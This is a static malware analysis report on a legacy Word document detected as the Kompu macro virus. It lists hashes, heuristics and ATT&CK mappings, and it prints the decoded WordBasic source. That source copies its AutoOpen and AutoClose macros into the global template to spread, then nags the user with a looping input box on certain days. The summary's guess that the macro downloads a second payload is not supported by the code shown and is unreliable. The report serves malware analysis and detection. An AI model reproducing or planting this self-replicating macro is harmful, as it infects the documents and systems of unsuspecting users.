Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad5ed6eb290f2104…

MALICIOUS

Office (OLE)

250.0 KB Created: 1997-09-11 17:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 418114cbd65f82d551546b99a3959115 SHA-1: 4fe172306a5dfc27c7a1214cd14ef937d25e814f SHA-256: ad5ed6eb290f21040bfeb17ee9f54cdc51590715e69aadf7e7aa2e67d655545d
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The presence of 'Doc.Trojan.Kompu-3' and 'Doc.Trojan.Kompu-4' signatures further confirms its malicious nature. The AutoOpen macro likely attempts to download and execute a secondary payload, a common tactic for this type of malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Kompu-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kompu-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 887 bytes
SHA-256: b4946ed56b5e2d0034ad1ab83c1627bba04e42494eebebec1bdbfb46c4d5e7de
Detection
ClamAV: Doc.Trojan.Kompu-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim kuupaev
Dim Kompu$
'AutoOpen
'Makroviirus Kompu
On Error Resume Next
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoClose") + ":AutoClose", "Global:AutoClose"
WordBasic.FileSaveAll 1
kuupaev = WordBasic.Day(WordBasic.Now())
If kuupaev = 6 Or kuupaev = 8 Then
While Kompu$ <> "komm"
Kompu$ = WordBasic.[InputBox$]("Tahan kommi!", "Mul on paha tuju!")
Wend
WordBasic.PrintStatusBar "Nämm-Nämm-Nämm-Nämm-Amps-Amps-Klõmps-Kröök!"
End If
End Sub

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